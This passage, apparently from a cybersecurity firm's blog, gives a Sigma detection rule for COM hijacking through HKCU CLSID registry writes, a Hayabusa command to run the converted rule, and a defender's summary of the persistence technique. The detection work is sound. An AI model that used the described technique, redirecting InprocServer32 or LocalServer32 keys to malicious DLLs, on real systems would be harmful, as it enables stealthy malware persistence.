    - id: 790317c0-0a36-4a6a-a105-6e576bf99a14
      type: derived
status: experimental
description: Detects potential COM object hijacking via modification of HKCU.
references:
    - https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/
    - https://attack.mitre.org/techniques/T1546/015/
    - https://unit42.paloaltonetworks.com/snipbot-romcom-malware-variant/
    - https://blog.talosintelligence.com/uat-5647-romcom/
    - https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html
    - https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044/
author: Maurice Fielenbach (Hexastrike Cybersecurity)
date: 2025-03-25
tags:
    - attack.persistence
    - attack.t1546.015
logsource:
    category: registry_set
    product: windows
    service: sysmon
detection:
    selection_target:
        TargetObject|contains|all:
            - 'HKU\'
            - '\CLSID\'
    selection_event_id:
        EventID: 13
    selection_com_server:
        TargetObject|contains:
            - '\InprocServer\(Default)'
            - '\InprocServer32\(Default)'
            - '\LocalServer\(Default)'
            - '\LocalServer32\(Default)'
    condition: selection_target and selection_event_id and selection_com_server
falsepositives:
    - Installation of new applications.
level: medium

Our converted rule will then be added to the directory ./converted_sigma_rules and can be used by Hayabusa, for example, executing Hayabusa directly against our system executing .\hayabusa-2.17.0-win-x64.exe csv-timeline -r .\converted_sigma_rules\ -o .\haybusa-results.csv --live-analysis --no-wizard.

Summary

COM hijacking is a powerful technique that attackers use to redirect legitimate COM objects to malicious DLLs by modifying registry entries, such as InprocServer32 or LocalServer32, under HKCU\Software\Classes\CLSID. This can involve simple CLSID hijacks, orphaned COM references, or stealthier methods, such as TreatAs. From a defense standpoint, you should closely monitor registry writes to these COM-related keys—either through native auditing or Sysmon—to detect suspicious changes. Keep in mind that application installations or updates often modify COM registrations in legitimate ways, so be prepared for false positives. By establishing a proper baseline and promptly investigating anomalies, defenders can more effectively detect and thwart COM hijacking attempts.

Resources

Table of Contents

Our primary goal is to deliver reliable and secure IT solutions to our clients and contribute resources to creating a more secure world. Copyright © 2021 – 2025 Hexastrike Cybersecurity UG (haftungsbeschraenkt)